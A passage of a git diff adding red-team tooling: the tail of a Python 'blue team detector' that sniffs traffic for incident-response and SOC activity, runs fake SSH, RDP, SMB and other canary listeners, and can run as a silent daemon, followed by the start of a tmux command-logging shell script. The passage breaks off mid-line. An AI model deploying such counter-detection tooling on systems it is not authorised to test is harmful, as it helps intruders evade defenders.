= datetime.now().strftime("%H:%M:%S") + + severity_config = { + "CRITICAL": {"repeat": 10, "color": "\033[91m"}, # Red + "HIGH": {"repeat": 6, "color": "\033[93m"}, # Yellow + "MEDIUM": {"repeat": 3, "color": "\033[94m"}, # Blue + "LOW": {"repeat": 1, "color": "\033[92m"} # Green + } + + config = severity_config.get(severity, severity_config["MEDIUM"]) + + # Sanitize all external inputs to prevent shell injection + safe_src_ip = shlex.quote(str(src_ip)) + safe_severity = shlex.quote(str(severity)) + safe_detection_type = shlex.quote(str(detection_type)) + safe_timestamp = shlex.quote(timestamp) + + notification_cmd = f""" + (for i in {{1..{config['repeat']}}}; do + echo -ne "\\a\\033[?5h"; + sleep 0.2; + echo -ne "\\033[?5l"; + sleep 0.2; + done && echo -e "\\n{config['color']}[{safe_severity}] [{safe_timestamp}] BLUE TEAM: {safe_detection_type} from {safe_src_ip}\\033[0m") & + """ + + subprocess.Popen(notification_cmd, shell=True, executable='/bin/bash') + + def _send_encrypted_email(self, subject, message): + """Send encrypted email alert""" + try: + # Prepare email + email_body = f"Subject: {subject}\n" + email_body += f"From: IOC-U Blue Team Detection\n" + email_body += f"To: {self.config['alert_email']}\n\n" + email_body += message + email_body += f"\n\nTarget: {self.local_ip}" + + # Encrypt with GPG + gpg_process = subprocess.Popen( + ['gpg', '--encrypt', '--armor', '--trust-model', 'always', + '-r', self.config["gpg_recipient"]], + stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE + ) + encrypted_data, _ = gpg_process.communicate(email_body.encode()) + + if gpg_process.returncode != 0: + logging.error("GPG encryption failed") + return False + + # Send via ssmtp + ssmtp_process = subprocess.Popen( + ['ssmtp', self.config["alert_email"]], + stdin=subprocess.PIPE, stderr=subprocess.PIPE + ) + ssmtp_process.communicate(encrypted_data) + + return ssmtp_process.returncode == 0 + + except Exception as e: + logging.error(f"Email alert error: {e}") + return False + + def _is_trusted_traffic(self, src_ip, dst_ip): + """Check if traffic is from trusted sources (red team)""" + try: + src_ip_obj = ipaddress.ip_address(src_ip) + + # Check operator IPs + if src_ip in self.config['operator_ips']: + return True + + # Check trusted networks + for network in self.config['trusted_networks']: + if src_ip_obj in ipaddress.ip_network(network, strict=False): + return True + + # Skip localhost + if src_ip_obj.is_loopback: + return True + + except: + pass + + return False + + def deploy_canaries(self): + """Deploy canary services to detect blue team scanning""" + canary_configs = [ + (2222, "SSH", self._ssh_canary), + (8888, "HTTP", self._http_canary), + (5900, "VNC", self._vnc_canary), + (9999, "Admin", self._admin_canary), + (1433, "MSSQL", self._mssql_canary), + (3389, "RDP", self._rdp_canary), + (445, "SMB", self._smb_canary), + (139, "NetBIOS", self._netbios_canary) + ] + + print("\n๐Ÿฏ Deploying Canary Services to Detect Blue Teams...") + print("โ”€" * 50) + + for port, service_type, handler_func in canary_configs: + if port in self.config["canary_ports"]: + try: + thread = threading.Thread( + target=handler_func, + args=(port,), + daemon=True, + name=f"canary_{service_type}_{port}" + ) + thread.start() + self.canary_threads.append(thread) + print(f" โœ“ {service_type:<8} canary on port {port}") + except Exception as e: + print(f" โœ— {service_type:<8} failed on port {port}: {e}") + + print("โ”€" * 50) + print("โœ… Canaries deployed - Blue team scans will trigger alerts\n") + + def _ssh_canary(self, port): + """SSH canary service""" + try: + server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + server_socket.bind(('0.0.0.0', port)) + server_socket.listen(5) + + while self.running: + try: + client_socket, address = server_socket.accept() + # Send SSH banner + client_socket.send(b"SSH-2.0-OpenSSH_8.9p1 Ubuntu-3\r\n") + logging.info(f"Blue team SSH canary triggered from {address[0]}") + client_socket.close() + except socket.timeout: + continue + except: + pass + + except Exception as e: + logging.error(f"SSH canary error: {e}") + + def _http_canary(self, port): + """HTTP canary service""" + try: + server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + server_socket.bind(('0.0.0.0', port)) + server_socket.listen(5) + + while self.running: + try: + client_socket, address = server_socket.accept() + client_socket.settimeout(5) + + # Receive request + request = client_socket.recv(4096) + + # Send response + response = b"HTTP/1.1 401 Unauthorized\r\n" + response += b"Server: Apache/2.4.41 (Ubuntu)\r\n" + response += b"WWW-Authenticate: Basic realm=\"Admin Portal\"\r\n" + response += b"Content-Length: 0\r\n\r\n" + + client_socket.send(response) + logging.info(f"Blue team HTTP canary triggered from {address[0]}") + client_socket.close() + + except socket.timeout: + continue + except: + pass + + except Exception as e: + logging.error(f"HTTP canary error: {e}") + + def _vnc_canary(self, port): + """VNC canary service""" + try: + server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + server_socket.bind(('0.0.0.0', port)) + server_socket.listen(5) + + while self.running: + try: + client_socket, address = server_socket.accept() + client_socket.send(b"RFB 003.008\n") + logging.info(f"Blue team VNC canary triggered from {address[0]}") + client_socket.close() + except: + pass + + except Exception as e: + logging.error(f"VNC canary error: {e}") + + def _admin_canary(self, port): + """Admin portal canary""" + self._http_canary(port) + + def _mssql_canary(self, port): + """MSSQL canary service""" + try: + server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + server_socket.bind(('0.0.0.0', port)) + server_socket.listen(5) + + while self.running: + try: + client_socket, address = server_socket.accept() + client_socket.send(b"\x04\x01\x00\x25\x00\x00\x00\x00") + logging.info(f"Blue team MSSQL canary triggered from {address[0]}") + client_socket.close() + except: + pass + + except Exception as e: + logging.error(f"MSSQL canary error: {e}") + + def _rdp_canary(self, port): + """RDP canary service""" + try: + server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + server_socket.bind(('0.0.0.0', port)) + server_socket.listen(5) + + while self.running: + try: + client_socket, address = server_socket.accept() + client_socket.send(b"\x03\x00\x00\x13\x0e\xd0\x00\x00\x00\x00\x00") + logging.info(f"Blue team RDP canary triggered from {address[0]}") + client_socket.close() + except: + pass + + except Exception as e: + logging.error(f"RDP canary error: {e}") + + def _smb_canary(self, port): + """SMB canary service""" + self._netbios_canary(port) + + def _netbios_canary(self, port): + """NetBIOS canary service""" + try: + server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + server_socket.bind(('0.0.0.0', port)) + server_socket.listen(5) + + while self.running: + try: + client_socket, address = server_socket.accept() + logging.info(f"Blue team NetBIOS canary triggered from {address[0]}") + client_socket.close() + except: + pass + + except Exception as e: + logging.error(f"NetBIOS canary error: {e}") + + def get_network_interface(self): + """Select network interface""" + if self.config["interface"] != "auto": + return self.config["interface"] + + if not SCAPY_AVAILABLE: + logging.error("scapy not installed โ€” cannot list interfaces") + return "eth0" + + interfaces = get_if_list() + preferred = ['eth0', 'ens33', 'ens192', 'ens160', 'enp0s3', 'wlan0'] + + for iface in preferred: + if iface in interfaces: + return iface + + for iface in interfaces: + if iface != 'lo' and not iface.startswith('docker'): + return iface + + return 'eth0' + + def generate_intelligence_report(self): + """Generate blue team intelligence report""" + assessment = self.intelligence.get_threat_assessment() + + report = { + 'timestamp': datetime.now().isoformat(), + 'blue_team_threat_level': assessment['investigation_intensity'], + 'active_blue_team_ips': assessment['active_investigators'], + 'detected_platforms': assessment['primary_platforms'], + 'investigation_techniques': assessment['investigation_focus'], + 'recommendations': assessment['recommendations'], + 'statistics': { + 'total_detections': sum(self.intelligence.investigation_techniques.values()), + 'unique_investigators': len(self.intelligence.blue_team_activities), + 'platforms_detected': len(self.intelligence.detected_platforms) + } + } + + return report + + def cleanup(self, signum=None, frame=None): + """Cleanup on shutdown""" + print("\n๐Ÿ›‘ Shutting down Blue Team Detector...") + + self.running = False + + # Save intelligence + self.intelligence.save_intelligence() + + # Generate final report + if not self.config.get('stealth_mode'): + report = self.generate_intelligence_report() + report_file = f"blue_team_report_{datetime.now().strftime('%Y%m%d_%H%M%S')}.json" + with open(report_file, 'w') as f: + json.dump(report, f, indent=2) + print(f"๐Ÿ“Š Final report saved to {report_file}") + + # Remove PID file + try: + os.remove(PID_FILE) + except: + pass + + print("โœ… Shutdown complete") + sys.exit(0) + + def daemonize(self): + """Run as daemon""" + # First fork + try: + if os.fork() > 0: + sys.exit(0) + except OSError as e: + sys.stderr.write(f"Fork #1 failed: {e}\n") + sys.exit(1) + + # Decouple + os.chdir("/") + os.setsid() + os.umask(0) + + # Second fork + try: + if os.fork() > 0: + sys.exit(0) + except OSError as e: + sys.stderr.write(f"Fork #2 failed: {e}\n") + sys.exit(1) + + # Write PID + with open(PID_FILE, 'w') as f: + f.write(str(os.getpid())) + + # Redirect file descriptors + if self.config.get("stealth_mode", True): + devnull = os.open(os.devnull, os.O_RDWR) + os.dup2(devnull, sys.stdin.fileno()) + os.dup2(devnull, sys.stdout.fileno()) + os.dup2(devnull, sys.stderr.fileno()) + + def run(self): + """Main detection loop""" + if not SCAPY_AVAILABLE: + print("โŒ scapy is required for packet capture. Install with: pip install scapy") + return + + # Signal handlers + signal.signal(signal.SIGTERM, self.cleanup) + signal.signal(signal.SIGINT, self.cleanup) + + # Get interface + interface = self.get_network_interface() + + # Display banner + self._display_banner(interface) + + # Start sniffing + try: + print(f"\n๐Ÿš€ Starting blue team detection on {interface}...") + print(" Press Ctrl+C to stop\n") + + sniff( + iface=interface, + prn=self.packet_inspector, + store=False, + stop_filter=lambda x: not self.running + ) + + except PermissionError: + print("\nโŒ Error: Root privileges required") + print(" Run with: sudo python3 ioc-u-enhanced.py") + self.cleanup() + except Exception as e: + print(f"\nโŒ Fatal error: {e}") + self.cleanup() + + def _display_banner(self, interface): + """Display startup banner""" + banner = """ +โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•— +โ•‘ IOC-U Enhanced v2.0 - Blue Team Detector โ•‘ +โ•‘ Detecting Blue Team IR/SOC Investigation Activities โ•‘ +โ• โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•ฃ +โ•‘ Detects: โ•‘ +โ•‘ โ€ข SIEM Queries & Threat Hunting โ€ข EDR/XDR Scanning โ•‘ +โ•‘ โ€ข Memory & Disk Forensics โ€ข Network Monitoring โ•‘ +โ•‘ โ€ข PowerShell Investigation โ€ข WMI Queries โ•‘ +โ•‘ โ€ข AI-Powered Analysis โ€ข IOC Sweeps โ•‘ +โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ• + """ + + print(banner) + print(f"\n๐Ÿ“ก Configuration:") + print(f" โ€ข Interface: {interface}") + print(f" โ€ข Local IP: {self.local_ip}") + print(f" โ€ข ML Detection: {'Enabled' if self.ml_engine else 'Disabled'}") + print(f" โ€ข Alert Mode: {'Investigations Only' if self.config.get('alert_on_investigation_only') else 'All Activity'}") + print(f" โ€ข Canary Ports: {len(self.config.get('canary_ports', []))}") + +# Utility functions +def load_config(): + """Load configuration""" + if os.path.exists(CONFIG_PATH): + try: + with open(CONFIG_PATH, 'r') as f: + loaded_config = json.load(f) + config = default_config.copy() + config.update(loaded_config) + return config + except: + pass + return default_config.copy() + +def save_config(config): + """Save configuration""" + try: + with open(CONFIG_PATH, 'w') as f: + json.dump(config, f, indent=2) + return True + except: + return False + +def show_intelligence_report(): + """Show blue team intelligence report""" + config = load_config() + intelligence = BlueTeamIntelligence(config) + assessment = intelligence.get_threat_assessment() + + print("\n" + "="*70) + print(" "*15 + "BLUE TEAM INTELLIGENCE REPORT") + print("="*70) + print(f"Generated: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}") + print("="*70) + + # Threat level + threat_colors = { + 'CRITICAL': '\033[91m', # Red + 'HIGH': '\033[93m', # Yellow + 'MEDIUM': '\033[94m', # Blue + 'LOW': '\033[92m' # Green + } + + color = threat_colors.get(assessment['investigation_intensity'], '') + print(f"\n๐Ÿšจ BLUE TEAM THREAT LEVEL: {color}{assessment['investigation_intensity']}\033[0m") + + # Active investigators + if assessment['active_investigators']: + print(f"\n๐Ÿ‘ฎ ACTIVE BLUE TEAM INVESTIGATORS:") + for investigator in assessment['active_investigators']: + print(f" โ€ข {investigator['ip']}") + print(f" Activity: {investigator['activity_count']} actions") + print(f" Platforms: {', '.join(investigator['platforms'])}") + else: + print(f"\nโœ… No active blue team investigators detected") + + # Detected platforms + if assessment['primary_platforms']: + print(f"\n๐Ÿ›ก๏ธ DETECTED SECURITY PLATFORMS:") + for platform in assessment['primary_platforms']: + print(f" โ€ข {platform}") + + # Investigation techniques + if assessment['investigation_focus']: + print(f"\n๐Ÿ” BLUE TEAM TECHNIQUES OBSERVED:") + for technique in assessment['investigation_focus']: + print(f" โ€ข {technique}") + + # Recommendations + if assessment['recommendations']: + print(f"\n๐Ÿ’ก RECOMMENDATIONS:") + for rec in assessment['recommendations']: + print(f" โ€ข {rec}") + + print("\n" + "="*70) + +def setup_operational_config(): + """Configure operational settings""" + config = load_config() + + print("\n๐Ÿ”ง Blue Team Detector Configuration") + print("=" * 50) + + # Trusted networks + print("\n1๏ธโƒฃ TRUSTED NETWORKS (Your Red Team Networks)") + print(f"Current: {config.get('trusted_networks', [])}") + + while True: + network = input("Add trusted network (CIDR) or 'done': ").strip() + if network.lower() == 'done': + break + if network: + try: + ipaddress.ip_network(network, strict=False) + if network not in config["trusted_networks"]: + config["trusted_networks"].append(network) + print(f" โœ… Added {network}") + except: + print(f" โŒ Invalid network: {network}") + + # Operator IPs + print("\n2๏ธโƒฃ OPERATOR IPs (Your Red Team IPs)") + print(f"Current: {config.get('operator_ips', [])}") + + while True: + ip = input("Add operator IP or 'done': ").strip() + if ip.lower() == 'done': + break + if ip: + try: + ipaddress.ip_address(ip) + if ip not in config["operator_ips"]: + config["operator_ips"].append(ip) + print(f" โœ… Added {ip}") + except: + print(f" โŒ Invalid IP: {ip}") + + # Alert settings + print("\n3๏ธโƒฃ ALERT SETTINGS") + + alert_choice = input("Alert on active investigations only? (Y/n): ").strip() + config["alert_on_investigation_only"] = alert_choice.lower() != 'n' + + # ML detection + if ML_AVAILABLE: + print("\n4๏ธโƒฃ ML DETECTION") + ml_choice = input("Enable ML-based detection? (Y/n): ").strip() + config["enable_ml_detection"] = ml_choice.lower() != 'n' + + # Canary ports + print("\n5๏ธโƒฃ CANARY SERVICES") + print("Recommended: 2222,8888,5900,9999,1433,3389,445,139") + + use_default = input("Use recommended canary ports? (Y/n): ").strip() + if use_default.lower() == 'n': + custom_ports = input("Enter custom ports (comma-separated): ").strip() + if custom_ports: + try: + config["canary_ports"] = [int(p.strip()) for p in custom_ports.split(',')] + except: + print("Invalid port format, using defaults") + + save_config(config) + print("\nโœ… Configuration saved!") + +def setup_email(): + """Configure email alerts""" + config = load_config() + + print("\n๐Ÿ“ง Email Alert Configuration") + print("=" * 40) + + config["alert_email"] = input("Alert email address: ").strip() + config["gpg_recipient"] = input("GPG recipient: ").strip() + + if config["alert_email"] and config["gpg_recipient"]: + config["email_enabled"] = True + config["smtp_configured"] = True + save_config(config) + print("โœ… Email alerts configured") + else: + print("โŒ Email configuration incomplete") + +def show_status(): + """Show detector status""" + config = load_config() + + print("\n๐Ÿ“Š Blue Team Detector Status") + print("=" * 40) + + # Check if running + if os.path.exists(PID_FILE): + try: + with open(PID_FILE, 'r') as f: + pid = f.read().strip() + os.kill(int(pid), 0) + print(f"๐ŸŸข Status: Running (PID: {pid})") + except: + print("๐Ÿ”ด Status: Not running") + os.remove(PID_FILE) + else: + print("๐Ÿ”ด Status: Not running") + + # Configuration + print(f"\nโš™๏ธ Configuration:") + print(f" ML Detection: {'Enabled' if config.get('enable_ml_detection') and ML_AVAILABLE else 'Disabled'}") + print(f" Email Alerts: {'Enabled' if config.get('email_enabled') else 'Disabled'}") + print(f" Alert Mode: {'Investigations Only' if config.get('alert_on_investigation_only') else 'All Activity'}") + print(f" Canary Ports: {config.get('canary_ports', [])}") + +def stop_detector(): + """Stop running detector""" + if os.path.exists(PID_FILE): + try: + with open(PID_FILE, 'r') as f: + pid = int(f.read().strip()) + os.kill(pid, signal.SIGTERM) + time.sleep(2) + print("โœ… Detector stopped") + except: + print("โŒ Could not stop detector") + else: + print("โŒ Detector not running") + +def main(): + """Main entry point""" + global PID_FILE, LOG_FILE + parser = argparse.ArgumentParser( + description="IOC-U Enhanced v2.0 - Blue Team Detection Tool", + epilog="Detects blue team IR/SOC activities targeting red team operations" + ) + + # Configuration + parser.add_argument("--config-operational", action="store_true", + help="Configure operational settings") + parser.add_argument("--config-email", action="store_true", + help="Configure email alerts") + + # Control + parser.add_argument("--status", action="store_true", + help="Show detector status") + parser.add_argument("--stop", action="store_true", + help="Stop detector") + parser.add_argument("--foreground", action="store_true", + help="Run in foreground") + + # Intelligence + parser.add_argument("--intelligence", action="store_true", + help="Show blue team intelligence report") + + # Deployment + parser.add_argument("--deploy-canaries", action="store_true", + help="Deploy canary services") + parser.add_argument("--no-canaries", action="store_true", + help="Start without canaries") + + # Runtime options + parser.add_argument("--interface", help="Network interface") + parser.add_argument("--ml-disable", action="store_true", + help="Disable ML detection") + + # Sentry / daemon mode for OPSEC integration + parser.add_argument("--daemon", action="store_true", + help="Run as background sentry daemon (alerts to log)") + parser.add_argument("--alert-hook", default=None, + help="Command to run on detection (receives alert JSON via stdin)") + parser.add_argument("--sentry-pid", default="/var/run/opsec-ioc-u.pid", + help="PID file for sentry mode") + parser.add_argument("--sentry-log", default="/var/log/opsec-ioc-u.log", + help="Log file for sentry mode") + + args = parser.parse_args() + + # Ops hook + _hook = _OpsHook("ioc-u") if _OpsHook else None + if _hook: + _hook.register() + + # Handle commands + if args.config_operational: + setup_operational_config() + return + + if args.config_email: + setup_email() + return + + if args.status: + show_status() + return + + if args.intelligence: + show_intelligence_report() + return + + if args.stop: + stop_detector() + return + + # Check root + if os.geteuid() != 0: + print("โŒ Root privileges required") + print(" Run with: sudo python3 ioc-u-enhanced.py") + return + + # Check if already running + if os.path.exists(PID_FILE) and not args.foreground: + print("โš ๏ธ Detector already running. Use --stop first.") + return + + # Load config and apply overrides + config = load_config() + + if args.interface: + config["interface"] = args.interface + + if args.ml_disable: + config["enable_ml_detection"] = False + + # Sentry daemon mode โ€” override PID/LOG paths and suppress interactive prompts + if args.daemon: + PID_FILE = args.sentry_pid + LOG_FILE = args.sentry_log + config["alert_hook"] = args.alert_hook + # Configure logging to file for daemon mode + logging.basicConfig( + filename=args.sentry_log, + level=logging.INFO, + format="%(asctime)s %(levelname)s %(message)s", + ) + + # Start detector + print("\n๐Ÿš€ Starting IOC-U Enhanced Blue Team Detector...") + + try: + detector = EnhancedBlueTeamDetector(config) + + # Deploy canaries + if not args.no_canaries: + detector.deploy_canaries() + if not args.foreground and not args.daemon: + input("\nPress Enter to start detection...") + + # Run + if args.daemon: + print("Starting as sentry daemon...") + detector.daemonize() + elif not args.foreground: + print("Starting in daemon mode...") + detector.daemonize() + + detector.run() + + except KeyboardInterrupt: + print("\nโš ๏ธ Interrupted") + if 'detector' in locals(): + detector.cleanup() + except Exception as e: + print(f"\nโŒ Error: {e}") + if 'detector' in locals(): + detector.cleanup() + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/tools/redteam/ops-logger.sh b/tools/redteam/ops-logger.sh new file mode 100644 index 0000000..c10f499 --- /dev/null +++ b/tools/redteam/ops-logger.sh @@ -0,0 +1,1737 @@ +#!/usr/bin/env bash +# OpsLogger - Complete logging solution for red team operations +# Version 2.5.3 - Merged config and prompt fixes + +# Configuration variables +CONFIG_FILE="${HOME}/.ops-logger.conf" +DEFAULT_TARGET="target-$(hostname | tr '.' '-')" +DEFAULT_LOG_DIR="${HOME}/OperationLogs" +PROMPT_NEW_SHELLS=true +RECORD_INTERVAL=0.5 +DEBUG=false + +# File markers +LOG_MARKER="/tmp/ops-logger-active" +RECORDING_MARKER="/tmp/ops-logger-recording" +CONFIG_IN_PROGRESS="/tmp/ops-logger-configuring" +VERBOSE_CMD_MARKER="/tmp/ops-logger-cmd" + +# Helper functions +log_debug() { + if [[ "$DEBUG" == "true" ]]; then + local debug_dir="${LOG_DIR:-${DEFAULT_LOG_DIR}}" + mkdir -p "$debug_dir" 2>/dev/null + echo "[$(date '+%Y-%m-%d %H:%M:%S')] DEBUG: $*" >> "${debug_dir}/ops-logger-debug.log" + fi +} + +ensure_dir() { + mkdir -p "$1" 2>/dev/null || return 1 + return 0 +} + +load_config() { + if [[ -f "$CONFIG_FILE" ]]; then + source "$CONFIG_FILE" + else + TARGET_NAME="$DEFAULT_TARGET" + LOG_DIR="$DEFAULT_LOG_DIR" + fi + + TARGET_NAME="${TARGET_NAME:-$DEFAULT_TARGET}" + LOG_DIR="${LOG_DIR:-$DEFAULT_LOG_DIR}" +} + +save_config() { + ensure_dir "$(dirname "$CONFIG_FILE")" + cat > "$CONFIG_FILE" << EOF +# Ops Logger Configuration +TARGET_NAME="$TARGET_NAME" +LOG_DIR="$LOG_DIR" +PROMPT_NEW_SHELLS=$PROMPT_NEW_SHELLS +RECORD_INTERVAL=$RECORD_INTERVAL +DEBUG=$DEBUG +EOF +} + +# Get public IP +get_public_ip() { + local ip + ip=$(curl -s --connect-timeout 3 ifconfig.me) || \ + ip=$(curl -s --connect-timeout 3 ipinfo.io/ip) || \ + ip=$(curl -s --connect-timeout 3 icanhazip.com) || \ + ip="unknown" + echo "$ip" +} + +# Detection functions +is_tmux() { [[ -n "$TMUX" ]]; } + +# Get normalized pane ID (session-window-pane format) +get_pane_id() { + if is_tmux; then + # If TMUX_PANE is set (from hook), use that specific pane + if [[ -n "$TMUX_PANE" ]]; then + local session=$(tmux display -t "$TMUX_PANE" -p '#{session_name}') + local window=$(tmux display -t "$TMUX_PANE" -p '#{window_index}') + local pane=$(tmux display -t "$TMUX_PANE" -p '#{pane_index}') + echo "${session}-${window}-${pane}" + else + local session=$(tmux display -p '#{session_name}') + local window=$(tmux display -p '#{window_index}') + local pane=$(tmux display -p '#{pane_index}') + echo "${session}-${window}-${pane}" + fi + else + echo "$$" + fi +} + +# Get tmux pane reference for tmux commands (% format for tmux commands) +get_tmux_pane_ref() { + if is_tmux; then + # If TMUX_PANE is set (from hook), use that specific pane + if [[ -n "$TMUX_PANE" ]]; then + echo "$TMUX_PANE" + else + tmux display -p '#{pane_id}' + fi + else + echo "" + fi +} + +# Get the actual tmux prefix key instead of hardcoding C-b +get_tmux_prefix() { + # First check if we're using oh-my-tmux which often uses C-a + if tmux show-options -g | grep -q "TMUX_CONF"; then + # Check if prefix has been overridden in .local config + local prefix=$(tmux show-options -g prefix 2>/dev/null | awk '{print $2}') + if [[ -n "$prefix" ]]; then + case "$prefix" in + "C-q") echo "C-q" ;; + "C-a") echo "C-a" ;; + "C-b") echo "C-b" ;; + *) echo "$prefix" ;; + esac + else + echo "C-a" # oh-my-tmux default + fi + else + # Try to get the actual prefix from tmux config + local prefix=$(tmux show-options -g prefix 2>/dev/null | awk '{print $2}') + if [[ -n "$prefix" ]]; then + echo "$prefix" + else + # Default to C-b if we can't determine + echo "C-b" + fi + fi +} + +is_logging_active() { [[ -f "${LOG_MARKER}-$1" ]]; } +is_recording_active() { [[ -f "${RECORDING_MARKER}-$1" ]]; } + +# ================================================================ +# DEPENDENCY CHECKING +# ================================================================ + +# Check if TPM is installed +check_tpm_installed() { + [[ -d "$HOME/.tmux/plugins/tpm" ]] +} + +# Check if tmux-logging plugin is installed +check_tmux_logging_installed() { + [[ -d "$HOME/.tmux/plugins/tmux-logging" ]] +} + +# Print installation instructions for TMux Plugin Manager (TPM) +print_tpm_install_instructions() { + echo "=========================================================================" + echo "Tmux Plugin Manager (TPM) is not installed. To install:" + echo "=========================================================================" + echo "1. Run these commands:" + echo " mkdir -p ~/.tmux/plugins" + echo " git clone https://github.com/tmux-plugins/tpm ~/.tmux/plugins/tpm" + echo "" + echo "2. Add these lines to your ~/.tmux.conf:" + echo " # List of plugins" + echo " set -g @plugin 'tmux-plugins/tpm'" + echo " set -g @plugin 'tmux-plugins/tmux-sensible'" + echo " set -g @plugin 'tmux-plugins/tmux-logging'" + echo "" + echo " # Initialize TMUX plugin manager (keep this line at the bottom)" + echo " run '~/.tmux/plugins/tpm/tpm'" + echo "" + echo "3. Reload your tmux configuration:" + echo " tmux source-file ~/.tmux.conf" + echo "" + echo "4. Install plugins by pressing:" + echo " prefix + I (capital I)" + echo "=========================================================================" +} + +# Print installation instructions for tmux-logging plugin +print_tmux_logging_install_instructions() { + echo "=========================================================================" + echo "tmux-logging plugin is not installed. To install:" + echo "=========================================================================" + echo "1. Ensure TPM is installed (see previous instructions if needed)" + echo "" + echo "2. Add this line to your ~/.tmux.conf (before the tpm init line):" + echo " set -g @plugin 'tmux-plugins/tmux-logging'" + echo "" + echo "3. Reload your tmux configuration:" + echo " tmux source-file ~/.tmux.conf" + echo "" + echo "4. Install the plugin by pressing:" + echo " prefix + I (capital I)" + echo "=========================================================================" +} + +# Check for required dependencies +check_dependencies() { + local id="$1" + local missing=false + + if ! is_tmux; then + echo "WARNING: Not running in tmux. Only basic CSV logging will be available." + echo " For full functionality, start tmux first." + return 0 + fi + + # Check TPM and tmux-logging plugin + if ! check_tpm_installed; then + missing=true + print_tpm_install_instructions + elif ! check_tmux_logging_installed; then + missing=true + print_tmux_logging_install_instructions + fi + + if $missing; then + # Don't use display-message, just echo + echo "Plugin dependencies missing, see instructions above" + return 1 + fi + + return 0 +} + +# ================================================================ +# CSV LOGGING (our custom implementation) +# ================================================================ + +# Setup CSV logging (ORIGINAL FORMAT MAINTAINED) +setup_csv_log() { + local target="$1" + local log_dir="$2" + local csv_file="${log_dir}/${target}_commands.csv" + + ensure_dir "$log_dir" + if [[ ! -f "$csv_file" ]]; then + echo '"StartTime","EndTime","SourceIP","User","Path","Command"' > "$csv_file" + fi + + echo "$csv_file" +} + +# Create command hook with better timing and error handling +create_command_hook() { + local hook_script="$1" + local csv_log="$2" + local pane_id="$3" + local verbose_log="$4" + + cat > "$hook_script" << 'EOF' +#!/usr/bin/env bash +# Command hook - FIXED version with proper function timing + +# IMMEDIATELY set all variables and disable errexit +set +e + +# Set variables first before anything else +CSV_LOG="__CSV_LOG__" +VERBOSE_LOG="__VERBOSE_LOG__" +PANE_ID="__PANE_ID__" +PUBLIC_IP=$(timeout 5 curl -s ifconfig.me 2>/dev/null || echo "unknown") +RTL_INTERNAL_LOGGING=true +RTL_CMD_START_TIME="" +VERBOSE_CMD_MARKER="__VERBOSE_CMD_MARKER__" + +# Function to check if command should be logged +should_log_command() { + local cmd="$1" + case "$cmd" in + *"RTL_"*|*"log_command"*|*"CSV_LOG"*|*"should_log_command"*) return 1 ;; + "history "*|*"PROMPT_COMMAND"*|*"source /tmp/ops"*) return 1 ;; + "") return 1 ;; + *) return 0 ;; + esac +} + +# Function to write verbose command header +write_verbose_header() { + local cmd="$1" + local start_time="$2" + local user=$(whoami) + local path=$(pwd) + + # Create a marker file with command info for the verbose processor + echo "$cmd|$start_time|$user|$path|$PUBLIC_IP|$PANE_ID" > "${VERBOSE_CMD_MARKER}-${PANE_ID}" +} + +# Function to log command to CSV +RTL_log_command() { + local cmd="$1" + local start_time="$2" + local end_time="$3" + local user=$(whoami) + local path=$(pwd) + + should_log_command "$cmd" || return 0 + + local old_flag="$RTL_INTERNAL_LOGGING" + RTL_INTERNAL_LOGGING=false + + local escaped_cmd=${cmd//\"/\"\"} + + printf '"%s","%s","%s","%s","%s","%s"\n' \ + "$start_time" "$end_time" "$PUBLIC_IP" "$user" "$path" "$escaped_cmd" >> "$CSV_LOG" 2>/dev/null + + RTL_INTERNAL_LOGGING="$old_flag" +} + +# BASH-specific setup +if [[ -n "$BASH_VERSION" ]]; then + # Save original PROMPT_COMMAND + [[ -z "$RTL_ORIG_PROMPT_COMMAND" ]] && RTL_ORIG_PROMPT_COMMAND="$PROMPT_COMMAND" + + RTL_LAST_COMMAND="" + RTL_LAST_HISTNUM="" + + # FIXED: Define preexec function BEFORE setting trap + RTL_preexec() { + local cmd="$BASH_COMMAND" + if should_log_command "$cmd" 2>/dev/null; then + RTL_CMD_START_TIME="$(date '+%Y-%m-%d %H:%M:%S')" + write_verbose_header "$cmd" "$RTL_CMD_START_TIME" + fi + } + + # FIXED: Define PROMPT_COMMAND function BEFORE using it + RTL_PROMPT_COMMAND() { + if [[ "$RTL_INTERNAL_LOGGING" == "false" ]]; then + return 0 + fi + + local current_histnum=$(history 1 2>/dev/null | awk '{print $1}') + local current_cmd=$(history 1 2>/dev/null | sed 's/^[ ]*[0-9]*[ ]*//') + + if 